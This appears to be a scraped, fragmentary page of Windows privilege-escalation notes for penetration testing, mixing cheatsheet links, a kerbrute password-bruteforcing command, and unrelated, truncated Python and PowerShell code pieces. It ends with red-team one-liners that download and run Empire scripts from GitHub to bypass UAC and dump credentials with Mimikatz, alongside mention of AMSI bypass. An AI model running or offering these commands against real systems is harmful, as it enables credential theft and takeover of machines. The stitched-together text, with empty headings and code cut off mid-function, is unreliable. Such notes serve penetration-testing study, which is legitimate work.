Christian Bortone xybytes

title
Windows Privilege Escalation

Windows Privilege Escalation

https://liodeus.github.io/2020/09/18/OSCP-personal-cheatsheet.html https://github.com/areyou1or0/Windows https://git.io/JL7sx https://github.com/C0nd4/OSCP-Priv-Esc

BloodHound Cypher Cheatsheet

Find edges

Shortest paths to Domain

AMSI Bypass

To perform all this techniques you can simply try them by typing "Invoke-Mimikatz" into your powershell terminal, you'll notice that even if you haven't imported Mimikatz it will detect that as malicious. But if the AMSI is off or you avoid it, it just will say that "it's not recognized as the name of a cmdlet", so you could say that you've bypassed the AMSI

However some methods may be detected by the AV but most of them actually work without problem

Powershell downgrade

The first and worst way to bypass AMSI is downgrading powershell version to 2.0.

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

	import requests
	from bs4 import BeautifulSoup
	from datetime import datetime
	import argparse

	BASE_URL = "https://blog.badsectorlabs.com/"
	START_PAGE = "index.html"

	def get_posts_from_page(url):
	"""Extract posts (date, title, link) from an index page."""

	import argparse
	import requests

	# Configure Argument Parser
	parser = argparse.ArgumentParser(
	description="Retrieve an OAuth 2.0 access token using Client Credentials Flow and call Microsoft Graph API."
	)

	parser.add_argument("--tenant-id", required=True, help="Azure AD Tenant ID")
	parser.add_argument("--client-id", required=True, help="Azure AD Application (Client) ID")

	import argparse
	import http.server
	import webbrowser
	import urllib.parse
	import requests
	import threading
	import time

	# Configure Argument Parser
	parser = argparse.ArgumentParser(

	import requests
	import json
	import time
	import argparse
	import getpass
	import os
	import sys


	def main():

	function Invoke-BloodHound
	{
	<#
	.SYNOPSIS

	Runs the BloodHound C# Ingestor using reflection. The assembly is stored in this file.

	.DESCRIPTION

	Using reflection and assembly.load, load the compiled BloodHound C# ingestor into memory

	# Description:
	# Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.

	# Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
	powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"

	# Invoke-Mimikatz: Dump credentials from memory
	powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

	# Import Mimikatz Module to run further commands